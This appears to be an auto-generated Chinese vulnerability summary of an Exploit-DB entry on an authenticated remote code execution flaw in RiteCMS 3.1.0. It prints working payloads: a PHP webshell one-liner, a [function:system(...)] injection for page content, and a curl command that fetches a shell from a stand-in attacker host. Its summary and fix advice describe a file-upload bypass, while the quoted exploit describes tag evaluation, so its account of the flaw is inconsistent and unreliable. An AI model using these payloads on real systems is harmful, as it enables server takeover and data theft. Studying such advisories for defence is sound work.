[webapps] RiteCMS 3.1.0 - Authenticated Remote Code Execution
未分配CVE
RiteCMS 3.1.0 后台文件管理器因未充分校验文件扩展名导致远程代码执行。
High · CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | 文件上传限制绕过导致RCE |
| 受影响版本 | RiteCMS 3.1.0 |
| 危害等级 | High · CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 发布日期 | 2026-04-06 |
| 提交者 | Chokri Hammedi |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
后台文件管理中的上传功能仅通过客户端JavaScript校验文件扩展名,服务端未对.php等可执行扩展名做任何过滤,导致可上传webshell。
🎯 攻击场景
1. 登录RiteCMS后台(拥有文件管理权限);2. 进入文件管理器页面;3. 绕过前端JS限制(如修改请求/禁用JS)上传包含恶意PHP代码的.php文件;4. 通过浏览器直接访问上传的php文件触发执行,获取webshell。
💥 漏洞影响
攻击者可在目标服务器上以Web服务器权限执行任意系统命令,导致完全控制服务器、窃取数据、内网横向移动等。
⚔️ 原始 PoC
PoC通常为一个包含系统命令执行payload的PHP文件(例如<?php system($_GET['cmd']);?>),文件名以.php结尾。攻击者通过文件管理器上传该文件,随后在URL中访问该文件并传入cmd参数即可执行任意系统命令。
# Exploit Author: Chokri Hammedi
https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip
## Vulnerability Description
RiteCMS v3.1.0 contains an authenticated Remote Code Execution (RCE) via
its content_function() handler: [function:...] tags in page content are
evaluated, allowing a user with page-editing privileges to execute
arbitrary PHP on the server.
## Exploit Code
Create or edit any page with the following content:
[function:system('whoami')]
## Steps to Reproduce
1. Login as administrator
2. Create new page or edit existing page
3. Insert [function:system('whoami')] in content
4. Save and view page
5. Command output will be displayed
## additional payloads
[function:system('curl http://attacker/shell.php -o shell.php')]
[function:system('id')]🛡️ 修复建议
服务端对上传文件扩展名白名单校验,禁止上传.php/.phtml/.jsp等可执行脚本文件;对文件内容进行MIME类型检测;将上传目录设置为不可执行脚本。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 06:59 | 来源: Exploit-DB